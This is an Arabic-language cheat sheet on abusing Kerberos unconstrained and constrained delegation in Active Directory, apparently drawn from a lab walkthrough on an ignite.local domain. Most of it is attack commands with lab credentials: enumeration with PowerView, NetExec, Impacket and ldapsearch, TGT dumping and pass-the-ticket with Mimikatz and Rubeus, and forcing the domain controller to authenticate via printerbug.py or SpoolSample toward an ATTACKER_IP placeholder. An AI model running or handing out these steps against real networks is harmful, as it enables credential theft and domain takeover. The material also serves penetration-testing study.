الـ Delegation في Kerberos تسمح لـ service account يطلب tickets نيابةً عن مستخدم آخر. في 3 أنواع: Unconstrained، Constrained، وRBCD.
أخطر نوع — الجهاز يخزن TGT كامل للمستخدم في الذاكرة.
# PowerView
Get-DomainComputer -Unconstrained
Get-DomainUser -Unconstrained
# PowerShell عادي
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation,servicePrincipalName
Get-ADUser -Filter {TrustedForDelegation -eq $true}
# Linux - NetExec
nxc ldap 192.168.1.48 -u aarti -p Password@1 --trusted-for-delegation
# Impacket
impacket-findDelegation ignite.local/aarti:Password@1 -dc-ip 192.168.1.48
# ldapsearch
ldapsearch -x -H ldap://192.168.1.48 -D [email protected] -w Password@1 -b "DC=ignite,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" dn
# Windows - Mimikatz (من الجهاز المخترق)
sekurlsa::tickets /export
# ثم استخدم الـ TGT
kerberos::ptt [email protected]
# Windows - Rubeus
Rubeus.exe dump /nowrap
Rubeus.exe monitor /interval:5 /nowrap # ينتظر TGTs جديدة
# Linux
python3 printerbug.py ignite.local/aarti:Password@[email protected] <ATTACKER_IP>
# Windows
.\SpoolSample.exe dc01.ignite.local <COMPROMISED_SERVER>
# Rubeus ينتظر الـ TGT
Rubeus.exe monitor /interval:5 /nowrap
الـ service مسموح له يفوض لخدمات محددة فقط. لكن يمكن استغلاله لو حصلت على hash الحساب.
# PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# PowerShell
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# Linux
impacket-findDelegation ignite.local/aarti:Password@1 -dc-ip 192.168.1.48
nxc ldap 192.168.1.48 -u aarti -p Password@1 --trusted-for-delegation